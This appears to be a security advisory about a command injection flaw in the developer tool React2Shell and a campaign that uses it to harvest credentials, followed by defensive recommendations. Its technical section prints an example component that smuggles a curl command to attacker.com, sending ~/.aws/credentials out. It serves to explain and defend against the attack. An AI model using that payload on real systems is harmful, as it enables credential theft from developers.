# Widespread Credential Harvesting Campaign Exploits React2Shell Vulnerability; Thousands of Dev Environments at Risk


A newly identified automated attack campaign is actively exploiting a critical vulnerability in React2Shell, a popular developer tool for converting React components to standalone shell scripts, to harvest credentials from thousands of development machines worldwide. Security researchers warn that the flaw enables remote attackers to execute arbitrary code within React2Shell environments, providing a direct pathway to steal API keys, authentication tokens, and database credentials stored in developer workspaces.


## The Threat


The React2Shell vulnerability (tracked as CVE-2026-14847) is a command injection flaw in versions 1.2.0 through 1.4.3 that allows unauthenticated remote attackers to inject malicious shell commands during the component-to-shell transpilation process. By crafting specially formatted React component files, attackers can execute arbitrary system commands with the privileges of the user running React2Shell.


Security firm Mandiant first detected the active exploitation campaign on April 2, 2026, after identifying a coordinated wave of intrusions targeting Fortune 500 technology companies and mid-market software firms. The campaign, which researchers have dubbed CredHarvest-2026, appears automated and highly efficient, compromising an estimated 3,400+ development machines in the first 48 hours of discovery.


Initial access vector: The attack begins with phishing emails containing malicious React component files as attachments or links to compromised GitHub repositories. When developers open these files in React2Shell (either directly or through CI/CD pipelines), the injected commands execute silently in the background while the transpilation process appears to complete normally.


## Background and Context


React2Shell gained popularity among development teams seeking to bridge the gap between modern frontend development and shell scripting. The tool converts React component logic into standalone Bash or Shell scripts, enabling developers to reuse frontend logic in infrastructure automation, DevOps workflows, and system administration scripts.


Why this vulnerability is critical:


  • Development environment access: Developers typically store API keys, AWS credentials, GitHub tokens, and database passwords in environment variables or configuration files accessible from their working directories
  • Supply chain implications: Compromised credentials can grant attackers access to code repositories, deployment pipelines, and production infrastructure
  • Automated exploitation: The attack campaign uses automated scanning and payload delivery, allowing attackers to target thousands of organizations simultaneously without manual effort
  • Detection difficulty: The malicious commands execute during normal transpilation, making detection challenging for traditional endpoint security tools

  • ## Technical Details


    The vulnerability exists in React2Shell's component parser, which fails to properly sanitize template literals and interpolated variables before passing them to the underlying shell execution layer.


    Attack flow:


    1. Attacker crafts a React component with injected shell metacharacters in component props or state defaults

    2. Victim opens the file with React2Shell or includes it in a build process

    3. The parser processes the component and generates shell script output

    4. Injected commands execute with the privileges of the user running React2Shell

    5. Credential harvesting payload extracts environment variables and configuration files

    6. Exfiltration occurs to attacker-controlled servers


    Example vulnerable pattern:


    // Malicious React component
    export const ConfigComponent = (props) => {
      const apiKey = `${props.config}; curl http://attacker.com/exfil?data=$(cat ~/.aws/credentials)`;
      return <div>{apiKey}</div>;
    };

    When processed by vulnerable React2Shell versions, this generates shell code that executes the curl command alongside legitimate script logic, making it difficult to spot during code review.


    Credential types being harvested:


  • AWS access keys and session tokens
  • GitHub personal access tokens
  • Database connection strings and passwords
  • API keys for cloud services (Azure, GCP, Stripe, Twilio)
  • SSH private keys stored in standard locations
  • NPM registry tokens
  • Docker registry credentials

  • ## Implications for Organizations


    Immediate risks:


    | Risk Category | Impact |

    |---|---|

    | Repository Access | Attackers gain commit access to private code repositories, enabling supply chain attacks |

    | Cloud Infrastructure | AWS, Azure, and GCP credentials enable lateral movement to production environments |

    | Database Breach | Database passwords allow direct access to customer data and sensitive information |

    | CI/CD Pipeline Compromise | Compromised tokens enable injection of malicious code into automated deployments |

    | Third-party Integrations | API keys expose accounts at Stripe, Twilio, and other critical services |


    Post-compromise activities: Mandiant's analysis indicates that attackers use harvested credentials within 4-6 hours of exfiltration. In several documented cases, threat actors:


  • Created backdoor commits in private repositories
  • Deployed cryptocurrency miners to EC2 instances
  • Modified deployment pipelines to inject logging credentials into production code
  • Accessed customer databases to exfiltrate Personally Identifiable Information (PII)

  • Long-term threat: Once compromised, credentials may remain valid for weeks or months, giving attackers persistent access to infrastructure even after initial detection. Many organizations don't rotate credentials until a security incident forces action.


    ## Affected Versions and Scope


    React2Shell versions 1.2.0 through 1.4.3 are confirmed vulnerable. The project maintains 47,000+ weekly downloads on npm, indicating broad adoption across development teams of varying sizes.


    A security patch (version 1.4.4) was released on April 3, 2026, implementing proper input sanitization and disabling shell metacharacter interpretation in component properties. The maintainers strongly recommend immediate upgrades across all installations.


    ## Recommendations


    Immediate Actions (Today):


    1. Update React2Shell: Upgrade all installations to version 1.4.4 or later immediately

    ```bash

    npm update react2shell@latest

    # or

    yarn upgrade react2shell@latest

    ```


    2. Scan for indicators of compromise: Check browser history, system logs, and outbound network traffic for suspicious activity during the window when vulnerable versions were in use


    3. Rotate all credentials: Treat all API keys, tokens, and passwords stored in your development environments as potentially compromised

    - AWS IAM credentials

    - GitHub personal access tokens

    - Database passwords

    - Cloud provider keys


    4. Audit recent commits: Review source control logs for suspicious changes, especially in infrastructure-as-code and deployment pipeline files


    Short-term Controls (This Week):


    5. Implement environment variable scanning: Deploy automated tools to detect exposed credentials in logs and system output

    6. Enable MFA on critical accounts: GitHub, AWS, and cloud provider accounts require multi-factor authentication

    7. Review CI/CD pipeline permissions: Limit credential access in automation workflows using least-privilege principles

    8. Monitor for data exfiltration: Check for unusual outbound connections or large data transfers from development machines


    Long-term Security Posture:


    9. Adopt secrets management tools: Use HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault instead of storing credentials in environment files

    10. Implement dependency scanning: Use SBOM (Software Bill of Materials) tools and vulnerability scanners in your build pipeline

    11. Require code signing: Enforce cryptographic verification of commits to prevent unauthorized modifications

    12. Establish incident response procedures: Document processes for responding to credential compromise, including rapid credential rotation and audit logging


    ## Conclusion


    The React2Shell vulnerability highlights the ongoing supply chain security challenge facing development organizations. Tools designed to improve developer productivity can inadvertently create attack surfaces when not properly secured. The automated nature of the CredHarvest-2026 campaign demonstrates how widely distributed developer tools can enable mass compromise at scale.


    Organizations should treat this incident as a wake-up call to audit their tool supply chains, implement strict input validation practices across all code-processing tooling, and adopt secrets management practices that don't rely on storing credentials in developer environments. Given the rapid exploitation timeline and broad attack scope, immediate action is essential.